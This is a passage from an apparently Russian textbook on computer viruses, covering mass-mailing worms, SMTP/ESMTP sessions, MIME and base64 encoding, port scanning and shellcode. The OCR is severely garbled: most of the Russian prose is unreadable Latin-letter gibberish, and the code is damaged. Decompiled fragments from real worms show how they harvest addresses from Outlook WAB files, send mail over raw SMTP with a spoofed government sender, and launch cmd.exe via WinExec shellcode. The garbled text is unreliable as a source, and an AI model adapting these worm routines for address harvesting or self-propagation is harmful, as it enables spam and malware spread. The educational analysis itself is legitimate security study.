30BaTeJib, noJiyHHBUiHH TaKoe rracbMO, c b h c o k o h  B epoaTH ocTb io  6 y a e T  

aoBepH Tb e r o  coaepacnMOM y, Beflb  o h o  noc/ iano o t  H M em i 3HaKOMoro Me- 

JioBeKa!

noHTOBbix HepBeH, Hcrio;ib3yiomHX HHTep^eiic M API, 6u.no h ecTb 
oneHb MHoro. Ctoht, HanpHMep, yrioM H iiyTb  nepBa Win32.HIV, He TOJib- 

k o  paccbwaioiuero ce6a no rxoHxe, h o  h 3apa»caiomero PE-nporpaMMbi no 
npmmnny «KJiaccn’iecKHX» Win32-BnpycoB. 3HaHiiTejibHbie annaeMiin 
Bbi3biBajiH E-Worm.Badtrans, E-Worm.Lovgate, E-Worm.Shatrix n 
rrpome.

6 .4 2 .2 . n p jm a a  pa6oma c nonmoeuMU cepeepami
l IepBH, paccbuiaiomHe ce6a npn noMomu M API, «n p n B fl3a n b i»  k onpe- 

Ae.'ieHHOMy nojib3QBaTeJiro n noMToeoMy cepBepy npoBaftflepa. H j ih  k  3a- 
paH ee cocTaB.ieHHOMy cnncKy oecnjiaTHbix cepBepoB, KaK, HanpHMep, 
E-Worai.Win32.Swen. B jik>6 om  cjiynae, Ha cbocm  nyrn k  a/ipecaTy oh h , 

KaK n  Jirooue <siiopMajibHHe» nncbMa, BbiHyayieHbi nocemaTb b c jo  

Hyio nenoMKy pejieeB, Ha Kaac^oM H3 KOTopwx, Bnojme BepoaTHo, npn- 
cyrcTByioT aHTHBHpycw. YcKopHTb n o6e3onacHTb caMopaccujiKy n04T0- 
b oh  «3apa3u» no3Bo.»iHioT MeToabi, Hcno;ib3\riomHe npaMoe o6pameHiie 
k no'iTOBOMy cepBepy nojiynaTejia no npoTOKOJiy SMTP.

3aaa>ia n p a M o n  nocb iiiKH  nncbMa Ha cepBep no.n^aTe/w CK.’ia/ibiBaeT- 
ca  H3 HecKOjibKnx iiocJiejioBaTejibHbix maroB.

Ha nepBOM uiare Heo6xo#HMo ccjxipMnpoBaTb a.xeKTpoHHoe coo6me- 
Hne b c^opMaxe, onpe^ejieHHOM cTan/tapxoM RFC-822. Coo6meHne aojuk- 
ho HMeTb TeKCTOBbiii Blip, h  co,qep;«axb TOJibKO 6yKBbi jiaTHHCKoro ajt(J)a- 
BiiTa, mi(})pbi, 3HaKn iipenHHaHna n cnenna.<ibHbie chmbojim rana 
«$ »  h npoHHe.

B o t  npH M ep nncbM a, coaep acam ero , K poM e TeKCTa, em e  h  B ; io * e ir a a  

(a r ra M ii ) .

Date: Mon, 15 Mar 2004 12:10:15 +0400
Fro*: Masna-Vesnushkina <Masha-Vesnijshkina@rambler.ru>
To: vasya-pypk1n@y3hoo.com 
S ubject: H ello !
Mime-Version: 1.0
Content-Type: m u ltip a rt/w ixe O ; boundary*"---------------- BE1199C26CFF7F8"

This Is a multipart MIME-coded message

BE1199C26CFF7FB

mailto:Masha-Vesnijshkina@rambler.ru
mailto:vasya-pypk1n@y3hoo.com
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Content-Type: te x t /p la in ;  c fta rse t^u s -a sc ii 
Content-Transfer-Encoding: 7 b it

Look a t iiiy photos!

------------------- BE1199C2SCFF7FS
Content-Type: a p p lica tio n /o c te t-s tre a m ; name="eicar.com"
Content-Transfer-Encoding: Dase64 
C onten t-D isposition : attachment; filena iae= ''e icar.con i"

WDVPIVAIQEFQWzRcUFpYNT0oUF4pN0NQKTd9JEVJQ0FSLVNUQU5E0VJELUF0VElWSVJVUy1URVNU
LUZJTEUhJEgrSCoNCg==

------------------- BE1199C26CFF7F6-

3HaneHHe «multipart» b iiojie «Content-Type:>> nncJxjpMHpyeT o tom , 
mto nncbMo coctoht H3 HecKOJibKHx HacTeii. CTpoKa-pa3fle.nHTejib <|>par- 
MeHTOB nncbMa onpe/ieJiaeTca b napaMeTpe «boundary=», OHa /ioji*:Ha Ha- 
MHHaTbCH C HCCKOJIbKHX (no  KpaHHeH Mepe, AByx) CHMBOJIOB « - »  h MoaceT 

cocToflTb H3 jho6m x  6yKB h mi4)p. LnaBHoe, hto6m  3Ta CTpoKa He BCTpe- 
TH.nacb b  caMOM coo6meHHH, n03T0My ee CTapaioTCH caeJiaTb KaK mojkho 

oojiee «c;ryHaHH0H». Opam eHTbi nncbMa, pa3aeJweMbie 3Toh  CTpoKoii, 
HanHHaioTCH c MaJieHbKHX 3ar0Ji0B0lfK0B. nojie «Content-Type» b 3aro- 
JiOBOHKax onpefle;weT coaepjKHMoe 4>parMeHTa:

O  «text/plain» CooTBeTCTByeT TeKCTy:
O  «text/html>> -  W W W -cTpaim H K e;
O  «application/octet-stream » -  nporpaMMe hjih npoii3B0JibHbiM

ABOHHHblM /laHHbIM;
O  «im age/gif* h  «image,/pjpeg» -  yKa3biBaiOT Ha KapraHKH;
O  «audio/mid» h «audio/wav» -  Ha 3bjtkh, My3bucy h t. n. 
ripHKpen.rieHHbie (fianjibi (nporpaMMbi, KapraHKH, 3Bvkh h nponee) 

06hT4H0 HMeiOT HeTCKCTOBblH BHfl II COflepjKaT 6 aHTbI CO 3HaHCHHH- 
mii b flitana30He o t  0 ao 255. /I,jih Toro mtoou npeacraBHTb hx b BHae 
TeKCTa, Hcnojib3yioTCH cneunajibHbie MeTOflbi KoanpoBaHHH, HanpHMep 
UUEncode (Unix-to-Unix, urapoKO Hcn0Jib30BaBuiHHCH b FID O ) hjih 
Base-64 (peKOMeHflyeMMH cranziapTOM Mime). Haea K0 flHp0BaHHH 
oMeiib npocTa. IIpH Ko;iHpoBanHH Hcno.rib.syioTcn «cjioBapH» -  64-6aim>- 
Bbie ctpokh. J im  Unix-to-Unix:

- ./0123456789: ; <=>?«ABCDEFGHIJKLWI0P0STUV»(XYZ[\3*.

/[jih Base-64/Mime:
ABCDtFGHIJKLMN0P0RSTUVWXYZabcdef ghijkl!nriopq'stuvwxyzCl23456789+/
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M cxoA H L ie  aaHHbie ripeacTaB iiaioTCH  b BHfle H enpepb iBH oro n oT on a  6 u- 

to b .  Toraa K a jK au e  TpH nocjieaoB aTe iibH b ix  6 a iiT a  M oryT  6 hiTb npeacTaB - 

j ic h h  b B H / ieM eT b ip ex h h cc ji n o  6 6 htobKa>K/ioe: 3x8  =  24 =  4x6.  3 t h  

HHCJia cuy>KaT HHaeKcaMH b  « c j io B a p a x » .  Ilpeano.noacH M , h to  T p e 6 y e r c a  

3aK oaH poBaTb «H e -B H p y c » «EICAR.COM», HanHHaromHHCH c o  c jie a y io -  

iuhx 6aiiTOB:

58 35 4F 21-50 25 40 41-50 5B 34 5C-50 5A 58 35 X50! P9s@AP[4\PZXS

Tor/i a oaHTM 58h, 35h h 4Fh npeo6pa3yioTca b ctpokh «M6#5» h 
«W D V P» cooTBeTCTBeHHO. PaayMeeTca, npH stom o6 teM Jiio6 oro 3aKo- 
AHpoBaHHoro Haoopa aaHHHX yBe/iHHHTca b 1,33 pa3a. BcTpenaeTca eme 
Ko,aHpoBKa «Quoted printable^, KOTOpaa 3aMenaeT Bee 6a0TW aannbix hx 
mecTHaan;aTepHHHhiMH Ko/iaMJi, HanpHMep: «=58=35=4F».

HTaK, a.JieKTpoHHoe coo6 meHHe cc|x>pMHpoBaHo. Tenepb neo6 xo/iHMo 
HaiiTH rae-To aapeca ajih paccbuiKH. BapnaHTOB m h oto . HanpHMep, jtiohto- 
Bbie nepBH E-W orm.W in32.Aliz, E-Worm.Win32.Coronex, E-Worm. 
W in32.K lez h ap- 6 pa;iH hx HanpaMvio M3 <J>aHJioB c pacmiipeHHeM 
«.WAB», b KOTOpbix xpaHHTca aapecHaa KHHra nporpaMMbi OutLook. 
3 t o t  (|>aHJi HMeeT b nana/ie 3ar0ji0B0K, b k o to p o m  no CMemeHHio lOOh 
coaep^cHTca kojihhcctbo 3anncefi b aapecHOH KHHre, no CMemeHHio 96h -  
aapec nepBOH 3amicH, a icaacaaa 6 8 -6 aiiT0Baa 3anncb HaHHHaeTca co CTpo- 

k h  aapeca. Bot KaK, npiiMepHo, cKaHHpoBaji 4>aiiJi aapecHoii k h h th  nepBb 
E-Worm.Win32.Coronex.c:

ReaC’penKeyA(HKEY_CURRENTJJSER, "Software\\M icrosoft\\W AB\\W AB4\\W ab F ile  Name", 
^R esu lt);
Reg0ueryValueExA(Re3uit, 0, 0, SJype, &FileName. icoD ata );
RegCloseKeyC R e s u lt) ;
h F ile  = CreateF ileA(&FileNa»e, 0x80000000, 1, 0, 3, 0, 0);

S e tF ile P o in te r(n F ile , 100, 0, 0);
ReadFile(hFiie, sNRecs, 4 . idunberOfBytesftead, 0 ); /./ KomwecTBo aapecoe

S e tF ile P o lr ite r(h F iie , 96, 0, 0);
ReadFile(hFiIe, SIDistanceToMove. 4, SNumberOfBytesRead, 0), / /  no3nnna nepeoi* sanMcn 
S e tF ils P o in te r(h F iie , IDistanceTDNove, 0, 0); 
for  (i=0 ;i<N R ecs;i+ + ) {

R ead F ile ftiF ile , SNextRec, 0x44, 4Nu»Der0fBytesSeat), 0): / /  OnepsfiHafl sanncb

/ /  ilocHiiM nnobMa no HaSaeHwmy aapecy
}

A TaKHe Bupycw, KaK E-Worm.Win32.Brontok, E-Worm.Win32. 
Netsky, E-Worm.Win32.Sober, E-Worm.Win32.Sobig, E-Worm. 
W in32.Swen, E-W orm.W in32.Dumaru, E-Worm.Win32.Mydoom h
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npoHHe. rrocTynajiH eme npoiye. O hh HcKa.nii Ha /incKe BceB03M0»aibie 
(Jjaft.ibi c pacniiipeHHJiMH «.T X T », «.D O C », «.R T F », «.M SG », «.W AB»,
« .H T M » H T. n. H npH.MHTHBHO CKaHHpOBaJIH HX c uejlbio OOHapy>KHTb 
a/ipecHbie cTpoKH no MacKe «*<§>*.*», rae -  nponaBOJibHaa ueno^Ka 
H3 a;i4>aBHTHO-UH4>pOBhIX CH.MBOJIOB. H, KCTaTH, HaXOflHJIH OHeHb MHOTO 

n e iie ii h jih  3apa>KefWfl. K o jho6o nbrrcTBy i-tTe, CKOjibKO Hyacnx noHTOBbix 
aapecoB M0acH0 H a ftra , HanpHMep, b pa3jiM4Hbix cjjaiLiax Banxero KaTa.no- 
ra ^Temporary Internets? Ecjih Bbi aKTHBHbiH ii0Jib30BaTe;ib MHTepneTa. 
to  hx TaM aecHTKH!

C / ieayrom aa  3aaana noHTOBoro MepBH -  no CHMBO.nbHOMy a/jpecy (Ha
npHM ep, <svasya-pnpkin@yahoo.con]>>) oripeae.nuTb IP -aa p ec  SM TP- 
cepBepa. IIpaKTHMecKH Bee Bupycw aeaa.nii h  ae.iaiOT sto npH  n oM om u  

c^ymcUHH «GetHostByNam e», K orop o H  aocTaTOHHO n epeaaTb  /lOMetmoe 
hm h aapecaTa. 3 T a  Bb icoK oypoBH eBaa 4 )vh k u h ji caM a B3aH.\ioaeHCTByeT 

c DNS-cepBepoM.
Hy 11 an0(J)e030M Bcex npeauiecTByKjiUHX noaroTOBHTeJibHbix onepa- 

UHH HB.MiOTca ycTaHOBJicHHe coeaHHeHHH c Bw6paHHbiM noHTOBbiM cep- 
BepoM h nepeaana eMy nncbMa.

OoMeH KOMaHaaMH 11 aaHHbiMii b noHTOBbix npoTOKOJiax BeaercH 
b TeKCTOBOM BHae. IIporpaMMa-KJiHeHT nocbUiaeT cepBepy ctpoukh hh- 
CTpyKHHH, cepBep oTBenaeT aHaJioriwHbiM o6pa30M. 3 to t  o6 mch jictko 
npoHao.nioaaTb (h aaace noyMacTBOBarb b HeM, BpyHHyio Ha6 npafl CTpon- 
kh KOMaHa Ha KJiaBHaType!), noaKJiiOHHBUiHCb k Jno6 oMy yaaJieHHO- 
mv SMTP-cepBepy nepea 25-bift nopT npn noMomn CTanaapTiioH a.na 
Windows h U N IX  VTHJiiiTbi Telnet, To x e  caMoe aeJiaeT Jno6 aa noHTOBaa 
nporpaMMa (HanpHMep, Outlook), to  ace caMoe ae.naeT 11 nepBb.

Bot -ranHHHbiH ceaHC cb«3H Meacay noHTOBbiM kjihchtom (o6o3HaneH 
KaK «K > ) H cepBepoM (o 6 o3HayeH KaK « C » )  no np0T0 K0 ;iy SMTP, onn- 
caHHOMy b cTaHaapTe RFC-821:

K: HELD server.com
C: 250 strip. server, co* server, coir
K: MAIL FROM, <adBineduB8.gov.ru>
C: 250 Ok
K: RCPT TO: <adwn#auR3. gov. ru>
C. 250 Ok 
K: DATA
0: 354 S ta rt m ail input, end w ith  <CnLF.>. <CRLF>
K. 3T0 T6KCT PCMTOBOro Cao6iliSHI1>1, 33K.aH<Jnaaioussrocs romfflS
K
C: 250 
K: QUIT
C: 221 Goodbye someofteftnyserver.co*

mailto:vasya-pnpkin@yahoo.con
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Ha 3a n p o cb i ot KJiiieHTa noTroBbiii cepB ep  oTBenaeT He TojibKo Teic- 
CTOBblMH C006meHH5IMH. HO H MMCJIOBHMH KOflaMH (ocjjOpMjieHHblMH He 
b BHfle ftBoiiH H bix HHceji, a onHTb-TaKH b BHfle cxp o K ). B o t  HeKOTOpbie
H3 HHX:

O  «220» -  cepBep t o t o b  k  pa6oTe;

O  «221 »  -  c ep B ep  saicpbui icaHa.>i nepe/iann aaHHbix;

O  «235» -  ayTeHTHc})HKauHfl ycneuiHO 3aBepmeHa;
O  «250» -  coe/jHHeHHe ycTaHOB/ieHO, KOMaima BbirioJineHa;
O  «251», «551 » -  HeiiOKajibHbiH rrojiM O BaTejib , Tpe6yeTcfl nepeHa- 

npaBJieHiie 3anpoca:
O  «334» -  3 a n p o c  o t  KJineHTa z(ono;iH H TejibH bix napaM eTpoB;

O  «354» -  3 a n p o c  TeKCTa noHTOBoro cooouueHHji;

O  «4 2 1»  -  cepBH c oTcyrcT B yeT , coe flH H era ie  6 y a e r  n peK pa iyeH o ;

O  «432 » -  x p e 6 y e T c a  n a p o .w ,

O  «450» -  ou iH 6K a 3anncn nncbM a b  noHTOBbifi h ih h k ;

O  «451» -  ou iH 6K a n p n  o6paooTice 3anpoca;

O  «452», «552» -  He XBaTaeT naMHTH /pin BbinojiHerara onepanHH;
O  «454» -  BpeM eHHhiii 0TKa3 cepBepa;

O  «500» -  HeBepHan KOMan/ia;
O  «501»  -  HeBepeH  apryM eH T  KOMaHAbi;

O  «502» -  KOM anaa H e m o jkc t  6biTb B b inojm ena;

O  «503» -  HCBepHan noejie/ ioB aTejibnocTb  KOMaHa;

O  «504» -  napaM eTp  KOMan/ibi H eaonycTH M  b /Wh h o m  KOHTeKCTe;

O  «530» -  Tpe6yeTCfl ayTeHTH<f)HKaqHJi;
O  «534» -  TpeoyeTca 6 ojiee «CHJibHHM» ripoxoKoji ayreHTH^HKauHH; 
O  «538» -  npoTOKo.i ay TeHTHcfniKaljhh T p e6 y eT  uiH^poBamiH;
O  «550» -  3anpoc o t k j io h c h  (HanpHMep, He naiifleH noHTOBbrii 

h u ih k ) ;

O  «553» -  H eB epH oe h m h  n o w o B o r o  flmmca;
O  «554» -  aBapHHHoe 3aBepineHne o6MeHa.
HeKOTOpbie rroHTOBbie cepBepbi no,zmep>KHBaioT paciuiipeHHbiii np0T0- 

koji ESMTP, oriHcaHHbiH b RFC-2554 h Tpe6yiomHH o t KJineHTa ayTen- 
thc|.)hKauHOHHbix aaHHHX -  /ioi'HHa h  riapo.iH. CeaHc ooMeHa KOMatiflaMH 

H aaHHblMH, no cpaBHeHHIO C SMTP, HeCKO.UbKO yC-TOJKHH-flCH, HO He Ha- 
CTOJibKO, HToobi ero He c-Mor BocnpoH3BecTH rioHTOBbiii nepBb:

C: 220 server com ESMTP Fri. 15 May 2004 10:12 01 +0400 

K: EHL0 server, con
G: 25u-«sx8 server, com Hello server [123 45 67 86]
0; 250-SIZE 10485760 
0: 250-SBITMIME 
C: 250-AUTH PLAIN LOGIN
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C: 250 PIPELINING 
K: AUTH LOGIN 
C: 334 VXNicm5hbWu6 
K: UHVwa21u 
C; 334 UGFzc3dvc,iiQ6 
K: VmFzeWE=
C: 235 A u the n tica tio n  succeeded 
K: MAIL FROM: <admin@duina.gov. ru>
C: 250 OK
K: RCPT TO: <admin@durra.gov.ru>
C: 250 Accepted 
K: DATA
C: 354 Enter message, ending with on a line by itself 
K: 3 t o  reK C T  noH TO B oro  coo fim eH na , saK aH M neaio iueroes tom kom  

K: .
C: 250 OK id=2RUkMk-000 02-00 
K: QUIT
C: 221 mx8.server.com c lo s in g  connection

tiHTepecHO, hto noflCKa3Kii «Username> h «  Password:* cepBep no- 
CbuiaeT KJiiieHTy b KoanpoBKe Base-64/Mime, h ohh B b iranR fn  KaK 
«VXNlcm 5hbW u6» h «  U G Fzc3 d vc m Q 6  »  cooTBercTBeHHo. Pa3yMeercH, 
«KaKOB Bonpoc -  TaKOB otbct», h kjihcht ao.rraceH OTBeqaxi. cepBepy b toh 
3Ke KOflHpOBKe.

BupoMeM, npoTOKo.n ESMTP oomhho pa6oTaeT Ha npoBanziepcKHX 
cepBepax, KOTOpbie mcavt «Hop.waJibHhix» niiceM ot orpaHiweHHoro Kpyra 
3aperncTpnpoBaHHHX KTineHTOB. Pe.xeiiHbie ace cepBepbi nojiynaioT nncb- 
Ma apyr ot apyra -  b npHHUnrie, c Jiio6oro KOHiia cBeTa -  h npoBepjrrb 
ayTeHTn4)HKannomiHe aawibie He aojijkhh. H0.3T0My ohh HcnoJib3yroT 
6o;iee npocToft npoTOKOJi SMTP.

A.xropHTM noBe/ieHHH noHTOBoro nepBa, CBH3UBaK)mer0CH Henocpea- 
CTBeHHO c SMTP-cepBepoM, b ue.xoM CooTBeTCTByeT KJiaccHnecKOH cxeMe 
B3aHMoaeiicTBHa KJnieHTa h cepBepa, paccMOTpeHHOH HaMH paHee. B ot 
KaK npHMepHO peajiH30BbiBaji 3 t v  cxeMy HepBb E-Worm.Win32.Dumaru 
((|)parMeHTbi nHnuHa.iH3auHH cokctob h ycTaHOBJiemifl cba3H c cepBe- 
poM onymeHbi):

c h a r  v 7 [ 6 ] ,  / . /  MaccHB a A p e c o e  nocy.naeM bix c t p o k

v22 = "HEL0 lo c a lh o s t\r \n " ;  v23 * "MAIL FROM: <admin@duma.gov.ru> \ r \ n " ; 
v25 = "RCPT TO: <"; s trca t(v2 5 , S e lfA c r); s trca t(v2 5 , "> \r \n '') ;
v 2 6  = "0ATA\r\n"i v27 = letter. // Tekcr nncbMa

v 7 [ 0 ]  = &v22; v7[1]=&v23: v7[2]=4v25;
v 7 [ 3 ]  = l v 2 6 ;  v 7 [ 4 ] =&v27; v 7 [ 5 ] = 0 :

Index=C, / /  ilHneKC b Maccî BS nocbmaeMbi* ctpok

do {

mailto:dmin@duina.gov
mailto:admin@durra.gov.ru
mailto:admin@duma.gov.ru
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i f  ( ! v 7 [ in d e x ] )  b re a k ; / /  noc/ieaHHH cTpoKa?

s e n d (v 5 ,  v 7 [ I n d e x ] ,  l s t r l e n ( v 7 [ I n d e x ] )  . 0 ) ;  

re c v (v S ,  & R e p ly , 512 , 0 ) ;

i f  ( R ep ly [0 ]= = '5 ')  I ! ( Reply[0 ]  == ‘4 ‘ ) { / /  Ho nepeony oaiixy o ree ia  -  owKSka?
c lo seso cke t(v5 ); WSACleanucO; re tu rn  - 1;

}
x+ + ;

}

B nocjiejxime ron a  no'rroBbie cepBepbi (oco6 chho 6 ecriJiaTHbie, Tarane 
KaK smtp.mail.ru i io t  smtp.rambler.ru~) Hepe^Ko flo6aBJiHK>T b ripoTOKOJi 
S M TP  HecTaiiaapTHbiH 4>yHKUHOHa/i: o6pa6 an>iBaioT nncbMa TOJibKO 
c «po4 HbiM» RCPT; oTKaabiBaioTCK o6 pa6aTMBaTb noToicH oamraKOBbix 
IlHCe.Vi; OTKJIOIWIOT HecKOJibKO miCeM, HflyiUHX H3 OflHOro HCTOHHHKa ne- 
pe3 KopoTKHe HHTepBajibi BpeMeHH; nwTaioTca oTcJniJibTpoBHBaTb nHcbMa 
no cc/tep>KiiMOM}r; ncrrojibayioT HecTaH^aprHbie nopTbi h t. n.

Pa3yMeeTCH, am  Mepw orpamiMHBaioT pacnpocTpaHeHHe cnaMa h noq- 
TOBbix HepBefi. Ho He HacTOJibKO, mto6h pa^HKa./ibno peuiHTb npo6 jieMy. 
JXo chx nop noHTOBbie HepBH (a Bcero hx fiecKo.TbKO tmchh ceMeftcTB!) 
5KiiByT h npouBerarciT.

6 .4 .3 . «klHTepHeT»-MepBM
3 th  nepBH 3apaacaioT xaxe KOMnbroTepbi, KOTOpwe He bxoaht b cocTaB 
KaKiix-JiH6o JioKaJitHMx ceTeii, He HMeiOT oTKpbrrax hjih BHeuiHero xo- 
cTyna ceTeBUX pecypcoB, He npHHHMaioT h He nocwjiaioT .9JieKTpoHHyK> 
noHTV, a npocTo h He3aTeftjrHB0 noaionoHeHbi k MHTepneTy (HanpHMep, 
npn noMomu Dialup-coeaHHeHHa Hepe3 moacm) ii, cooTBeTCTBeHHo, HMe- 
IOT nOCTOJIHHblH HJIH ilHHaMHHeCKHH IP-a^peC.

ile jio  b tom, hto jho6oh KOMnbiOTep, Ha kotopom ycTaHOBJieHa coBpe- 
MeHHaa onepauHoHHaa CHCTeMa, aBjraeTCH hochtcjicm MHoroTOCJieHHWX 
ceTeBbix c jiy*6 , npocjiyuiHBaiomHX oKpyxcaiomee np0CTpaHCTB0 nepe3 
ceTeBbie nopra. Ha Windows 9X T3khx cjiy»c6 h nopTOB coBceM HeMHoro 
(npaKTHHecKH HeT), 3aT0 onepamioHHbie CHCTeMbi ceMeficTBa Windows 
N T  n0Jib3>T0Tca hmh Ha bcio KaryuiKy. HanpiiMep, b hhx no yMOJiMaHHro 
oTKpbiT nopT 135, oTBeyaroi^HH 3a pa6oTy TexnojiorHH R PC  (Remote 
Process Call), koto pan ooecnemiBaeT pacnpe/ieJieHHoe B3aHMoaeiicTBHe 
nporpaMMHbix K0Mn0HeHT0B. /ipyniM npHMepoM HBJixeTCH rpynna rrop- 
tob b flnana30He 1025-1027, hx oiiepaUHOHi-iaa cncTe.via oTKpwBaeT a/in 
CBOHX Co6cTBeHHbIX HVJKA. MoryT 6bITb OTKpblTbl TaK>Ke nopTbi 3389 
(nojwepjKKa Remote desktop -  yaajieHHoro paoo^ero CTOJia), 123 (ce-
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TCBaH cjiy*c6a BpeMeHH NTP -  Network Time Protocol), 445 (ceTeBaa 
cjiy*6a Microsoft Data Service) h nponne.

KoHeHHO, caM o n o  ce6 e  HajiHHHe oncpb iTb ix  nopTOB Ha KOMriMOTe- 

p e  -  He KpHMHHaji. H h  OAHa upaBH/ibHO Hcno/ib3ye.MaH cep B epn aa  3aaa- 
'ia  n p o c T o  He npeaH aana 'ieH a a jih  T o ro , m to6 h  CKaHHBaTb oncyaa-TO  H3 

ceTH IlOCTOpOHHHe npO rpaM M H  (KaKOBblMH HB.TOiOTCa B H pycw  H 4epBH ) 

h  3anycKaTb h x . H o  HeKOTOpbie cepBepH bie 3aaaMH coA ep »caT  ysi3euMocmu 
( h x  e m e  Ha3biBaioT «dbipa.mi») -  h c to m h o c th  h  ou ih 6 k h  b  nporpaM M H om  

K o^e, K 0T0pw e a o n ycK a ro r  ncn0Jib30BaHHe s th x  3aAaH, He npeaycM O T- 

peH H oe pa3pa6oTHHKaMH. M oaceT  6biTb, «c r a p o c jiy »c a m H e »  em e  o o m h jit  

TaKcotJjoHbi h ra3Hp0B0M Hue aB TO M ara c o b c tc k h x  BpeMeH, KOTOpbie npn 
M 0m H0M  y a a p e  n o  K pen icoM y MexajuiHHecKOMy K o p n y c y  Bbnsa.raBajiH 

b j i o t o k  nm  caa 'iH  cpa3y  Bee HaKoruieHHbie 3a HecKOJibKO AHeB m oh ct- 

k h ?  H cm to  n oA o fiH oe  xapaK TepH o h  a m  H eKO Topw x ceTeBbix cepBepoB. 

Pa3yMeercJi, h b jih h h g  h j ih  O T cy rcT rw e  y x 3 B im o c T e ii s u b h c h t  o t  BepcHH 

onepauHOHHOH cncTeM bi, B epcrn i cep B epH oro  n porpaM M H oro ooecne.qe- 

hhh , nocTaBJieHHwx h jih  HenocTaBJieHHbix «3anJiaTO K» h  t .  n.

IloaTOMy nepBOH npo6 ;ieMOH THmiHHoro HHTepffex-yepBa h b ju ig tcs i 

TaK Ha3UBaeMoe « a a m u p o e a H u e  n o p m o e », to  ecrb nonbinca onpeae.iHTb 
noTeHunajibHbie hctomhhkh vhsbhmocth Ha noAKJHOHeHHOM k nio6aJib- 
hoh ceTH KOMnbiQTepe. KaK MepBb Bbi6HpaeT uejib -  «0TAeJibHaa riecHH>>. 
ho, b npHHmine, aTaKe MoaceT 6urb noABepaceH jik>6oh KOMnbroTep MHpa, 
nOAKIIKMeHHblH K MHTepHeTy H HMeiOmHH CBOH IP-aApeC. O6bIMH0 CKa- 
HHpoBaHHe nopTOB aaKJifoqaexaf b nocbuiK e  naK eroB c 3anpocaMH Ha ca- 

Mbie pa3Hbie nopTbi KOMnbiOTepa: Ha 135, 137-139, 445 h t. n. -  ecAH 
npeanoJiaraeTCH, hto KOMnbKrrep HBJiaeTCH o6hhhoh pa6oMen cTaHmiefi; 
hjih Ha 20-21,25,80,110 h t. n. -  earn npeAnoJiaraeTca, hto KOMnbroTep 
HBJIHeTCH BblfleAeHHblM CeTCBblM cepBepOM. IIo  H/iee. OTKpblTblH H CT3H- 
AapTHO HacTpoeHHUH nopT aoajkch oTBeTHTb: «to tob  k paooTe». A  nepBb. 
noAVMHB otkjihk, -  nocTaBHTb raJioHKV b cooTBeTCTByiomyK) rpatjiy cBoeii 
3armcHOH khhjkchkh: «nonpo6ye.vi 3ajie3Tb». 06paTHTe BHiiMaHHe, «Hop- 
MaaijHbie^ KJiHeHTCKiie nporpaMMbi TaK He nocrynaioT! >Ke.naHHMH rocTb 
npHXOAHT H npOCTO OflHOKpaTHO 3B0HHT B ABepb, a BOT 5KVJIHK M05KCT CHa- 
najia n03B0HHTb, nOTOM nocTyiaTbCH, noTOM nouapanaTbca b okouiko h 
t. n. Il03T0My c KanhpoBahhe nopTOB AOBOJibHO .lei’Ko pacno3HaTb, h cc;ih 
oho ODHapyaceHO, to  hmcctch oneHb BbicOKaa BepoHraocTb roTOBameHca 
BupycHOH, TpoHHCKoii (h  Boo6me, 3Ji0Ha.viepeHH0H) aTaKH Ha y3eji ceTH.

Bi'opaa npooJieMa, KOTOpyiO peuiaeT THmiHHbiH nepBb, -  sto nonbiTKa 
Hcn0.!ib30BaTb noTeaiiHajibHbie v>I3Bhmocth. KoHKpeTHbie cnocoobi h mc- 
TOflbi, npHMenaeMbie cexeBbiMH BupyciibiMii nporpa.MMaMii, ovavt hsmii
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paccM O TpeH bi a a jie e , b p a3£ e jie  «K a K  MepBH npoH H KaioT  b K0Mribi0T e p » .  

A 3aecb  Mbi n p o c T o  o tm c th m , h to  ram w H bm  HHTepHeT-nepBb n cn o jib sy eT  

h jih  aT o ro  TaK Ha3biBaeMbie «u ie ju i-K o d b t »  ( « s h e l l - c o d e s » ) .  3 to  cn en n a jib - 

h o  ncxaroTOBJieHHbie H H ^opM an n oH H b ie  MaccuBbi, KOTOpbie nepBb n ep e - 

aa eT  cepB epH oft 3aaane. K aK  npaBHJio, U ie jiji-K oa  coaepacH T h  ({jp am eH T b i 

aaHHbix, KOTOpbie cepB epH aa  3aaana H e MoaceT n po iiH Tepn peT iipoB aTb  

npaBHJibHo, h  k v c k h  n p o rp aM M H oro  K oaa, KOTopbift 3anycKaeTCH b p e- 

3yjibTaTe H eB epH oii H H TepnpeTaiiH H . II Ie / iji-K o a  n rp a eT  p o .ib  ^o tm h m k h  » ,  

KOTOpOH HepBb nOAb3yeTCfl HUH ripOHHKHOBemiH Ha KOMIIbJOTep. EcTb  

MepBii. KOTOpbie coaepacaT  B H yrpH  c e o a  h  iibixaioTCH npiiM eHHTb m ho- 

acecTBO oTM bw eK : HanpHM ep, 0 n y 6 jiH K 0 BaHHbift b  acypH aae «29A» Worm. 
Linux.Mworm ( o h  ace Multiworm) coaepaca ji h x  aac 8  uiTyK. A 3 HaMeHH- 

TOMy n epB io  Net-Worm.Win32.Lovesan (H 3BecTHOMy TaKace n o a  HMe

HaMH Msblast, Blaster, Poza h  n poH H M ii), hjih to to  hto6h 0praHH30Baxb 

b 2003 r. 6ecn p en eaeH T H y io  n o  pa3M epaM  h fl/niTe/ibHocTH annaeM H io, 

X B a ra a o  B cero  o a H o ro  mejui-KO/ia, aK cn J iyaT H py iom ero  oaHy-eaHHCTBeH- 

h j t o  y>i3BHM0CTb. K o h c h h o h  n e jib io  p a 6 oTM  me./iJi-Koaa HBJixeTCH n ep e - 

aana ynpaBJieHHa Ha coaepacainHHcn BHyipn Hero c^parweHT, coctohiuhh  
H3 HcnojiHaeM bix MauiHHHbix KOMaHa. H anpH M ep, s t o t  (J )pam eH T MoaceT 

HaiiTH  b naMHTH « K E R N E L32.DLL», onpeaejiHTb aap eca  A P I-4 > y h k u h h , 

a noTOM BbinojiHHTb HTO-Hn6yab B p oae

DUSh 0
c a l l  AAA

BBB: db 'end .exe '
AAA: c a l l  WmExec

CTeK < - napaw e ip  "G kho c k p u t o "

CTeK <- aflpec wieflyouieii KOMaH/R to  ecTb BBB 
napaMetp "Mms sanycKaeMOfl nporpaMMbi"

3anycK nporpaMMbi

B pe3yabTaTe HaMHeT paooTy uiTaTHbiH KOMaHaHbiH HHTepnpeTaTop 
CMD.EXE, npn noMomn KOToporo MoacHo yaaJWTb hjih co3aaBaTb 4>aii- 
jim, 3anycKaTb nporpaMMbi Ha axaKyeM OM  KOMnbioTepe h t. n. OaicrHHe- 
CKH 3T0 03Ha>iaeT, MTO KOHTpOJIb MepBH Haa MaiUHHOH VCTaHOBJieH.

H o  c h x  nop Ha KOMnbioTepe « 6 e3o6pa3HHMa.T»  MaaeHbKHH mejiji-Koa. 
